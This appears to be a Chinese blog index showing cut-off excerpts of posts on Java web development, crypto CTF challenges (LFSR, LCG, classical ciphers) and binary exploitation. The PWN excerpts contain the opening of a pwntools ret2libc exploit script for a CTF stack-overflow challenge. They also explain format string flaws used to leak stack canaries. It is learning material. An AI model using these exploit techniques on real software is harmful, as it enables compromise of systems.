Java-Filter/Listener
Filter
概念:Filter表示过滤器,是JavaWeb三大组件(Servlet、Filter、Listener)之一。
过滤器可以把资源的请求拦截下来,从而实现一些特殊的功能。
过滤器一般完成一些通用的操作,比如:权限控制、统一编码处理、敏感字符处理等。。
Filter快速入门:1.定义类,实现Filter接口,并重写其所有方法
2.配置Filter拦截资源的路径:在类上定义@WebFilter注解
3.doFilter方法中使用chain.doFilter(request,response)方法放行。
4.Filter可以根据需求,配置不同的拦截资源路径。
拦截具体的资源:/index.jsp:只有访问index.jsp时才会被拦截
目录拦截:/user/*:访问/user目录下的所有资源,都会被拦截。
后缀名拦截:*jsp:访问后缀名为jsp的资源,都会被拦截。
拦截所有:/*:访问所有资源,都会被拦截
Filter执行流程:
Filter链(多个过滤器)
接下来对登录注册页面进行过滤,即保证用户在不登陆的情 ...
Java-Cookie/Session
CookieCookie基本使用:
Cookie:客户端会话技术,将数据保存到客户端,以后每次请求都携带Cookie数据进行访问
Cookie基本使用
1.创建Cookie对象,设置数据
1Cookie cookie = new Cookie("key","value");
2.发送Cookie到客户端: 使用response对象
1response.addCookie(cookie):
3.获取客户端所携带的所有Cookie,使用request对象
1Cookie[] cookies = request.getCookies();
4.遍历数组,获取每一个Cookie对象: for
5.使用Cookie对象防火获取数据
Cookie存储时间设置
cookie.setMaxAge( time ) 其中time以秒为单位,例如一周表示为60 * 60 * 24 * 7
Session
服务器绘画跟踪技术:将数据保存到服务器
JavaEE提供HttpSession接口,来实现一次会话的多次请求间数据共享功能
使用:
1。获取 ...
Java-MVC
MVC模式
MVC是一种分层开发的模式,其中:
M:Model,业务模型,处理业务
V:View,视图,界面展示
C:Controller,控制器,处理请求,调用模型和视图
MVC好处
职责单一,互不影响
有利于分工协作
有利于组件重用
三层架构
数据访问层:对数据库的CRUD基本操作(Dao包/Mapper包)
业务逻辑层:对业务逻辑进行封装,组合数据访问层中基本功能,形成复杂的业务逻辑功能(Service包)
表现层:接收请求,封装数据,调用业务逻辑层,相应数据(web包/controller包)
MVC模式和三层架构对照:
案例:实现需求:
环境准备:
创建新的模块brand,引入坐标
创建三层架构的包结构
数据库表tb_brand
实体类Brand
MyBatis基础环境
Mybatis-config.xml
BrandMapper.xml
BrandMapper接口
过程:1.首先new一个maven模块brand,配置pom.xml123456789101112131415161718192021222324252627 ...
Crypto-Steamgame系列
Crypto-streamgame系列题目:首先给出大佬博客链接:(32条消息) streamgame系列的总结_T1an5t的博客-CSDN博客_streamgame2
题目:streamgame1,来源:2018强网杯:12345678910111213141516171819202122232425262728from flag import flagassert flag.startswith("flag{")assert flag.endswith("}")assert len(flag)==25def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=i ...
Crypto-LCG(线性同余方程)
什么是 LCG线性同余算法,用来生成伪随机数
线性同余法最重要的是定义了三个整数,乘数 a、增量 b 和模数 m,其中 a,b,m 是产生器设定的常数。
公式
1X[n+1] = (aX[n]+b) mod m
其中 a,b,m 是三个用来生成伪随机数的常量
举个例子,就是上一个数是 114,设 a=10,b=12,c=514,那么下一个伪随机数就是
(114 * 10 + 12)% 514 = 124
解题需要用到的公式
目的
公式
X [n+1] 反推 X [n]
X[n] = (a** (-1) ( X[n+1] - b ) ) % m
求 a
a = ( ( X[n+2] - X[n+1] ) ( X[n+1] - X[n] ) ** ( -1 ) ) % m
求 b
b = ( X [n+1] - a X[n] ) % m
求 m
t[n] = X[n+1] - X[n],m = gcd ( ( t[n+1]t[n-1] - t[n]t[n] ) , ( t[n] ...
Crypto-常用编码(持续更新)
1.凯撒密码凯撒密码(Caesar)加密时会将明文中的 每个字母 都按照其在字母表中的顺序向后(或向前)移动固定数目(循环移动)作为密文。
1.固定密钥:(密钥往往通过遍历获得)
12明文:THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG //密钥为3密文:WKH TXLFN EURZQ IRA MXPSV RYHU WKH ODCB GRJ
2.密钥不定:
1234密文:s0a6u3u1s0bv1a密钥:guangtou //字母对应数字 a-z ~ 1 - 26偏移:6,20,0,13,6,19,14,20 明文:y0u6u3h1y0uj1u
2.Atbash Cipher(移位密码)它使用字母表中的最后一个字母代表第一个字母,倒数第二个字母代表第二个字母。在罗马字母表中,它是这样出现的:
12明文:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z密文:Z Y X W V U T S R Q P O N M L K J I H G F E D C B ...
Crypto-初等数论四大定理
初等数论四大定理:1.欧拉定理:
n和a为正整数,且 n,a互素,即 gcd(a,n) = 1 ,则:
证明省略。。。。。
2.威尔逊定理:主要针对大数阶乘在初等数论中,威尔逊定理给出了判定一个自然数是否为素数的充分必要条件。
即:当且仅当p为素数时:( p -1 )! ≡ -1 ( mod p )
因为很少涉及,此处证明省略。。。。。。
例题:求value_p
1234x = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391760451 y = 1112444002174812715909207686140545481498157514474450885717857657292932143500294299853142098577109016726225687780590213530411 ...
PWN-几个简单栈题
babyof
简单的64位ret2 libc
发现可以通过read函数进行栈溢出,同时在这之前调用了puts函数,因此可以通过puts函数泄露system在libc中的地址并调用system函数。
exp:
1234567891011121314151617181920212223242526272829303132333435from pwn import *io = process("./babyof")elf = ELF("./babyof")libc = ELF("./libc-2.27.so")puts_plt = elf.plt["puts"]puts_got = elf.got["puts"]sub_addr = 0x400632pop_rdi_addr = 0x400743#pop_rsi/r15_addr = 0x400741 #pop_rdx_addr =payload = cyclic(0x40 + 8) + p64(pop_rdi_addr) + p64(pu ...
PWN-堆利用(堆工作介绍/double free)
堆管理器堆概述什么是堆?
是虚拟地址空间的一块连续的线性区域
提供动态分配的内存,允许程序申请大小未知的内存
在用户与操作系统之间,作为动态内存管理的中间人
响应用户的申请内存请求, 向操作系统申请内存,然后将其返回给用户程序
管理用户所释放的内存,适 时归还给操作系统
申请内存的两种系统调用:
1.brk
brk调用为在data段向上延申一段区域作为申请的内存供程序使用,该调用多发生在进程的主线程调用区域,且该方式申请的内存较小,一般用于小内存申请。
2.mmap
mmap为大内存申请,即brk无法满足所需申请内存的大小,需要操作系统从内存中映射一段内存作为申请的内存供程序使用。
Areanaarena为内存的分配区,可以理解为堆管理器所持有的内存池。
图解:
堆管理器与用户的内存交易发生于arena中,可以理解为堆管理器向操作系统批发来的有冗余的内存库存。
arena起着存储从操作系统中借来但还未交给用户内存或存储用户归还但还未交给操作系统的内存的作用。
Chunkchunk为用户申请内存的单位,也是堆管理器管理内存的基本单位 malloc()返回的指针指向一个chunk的数 ...
PWN-格式化字符串漏洞
格式化字符串漏洞原理
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下
12345some value3.14123456addr of "red"addr of format string: Color %s...
假设,此时我们在编写程序时候,写成了下面的样子
1printf("Color %s, Number %d, Float %4.2f");
时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
解析其地址对应的字符串
解析其内容对应的整形值
解析其内容对应的浮点值
对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。
这基本就是格式化字符串漏洞的基本原理了。
注:
如若没有提供参数,printf会继续向上寻找,把父函数的内容当作参数打印出来。
同样:
可以通过printf打印出canary的内容,进而绕过canary防护。
程序 ...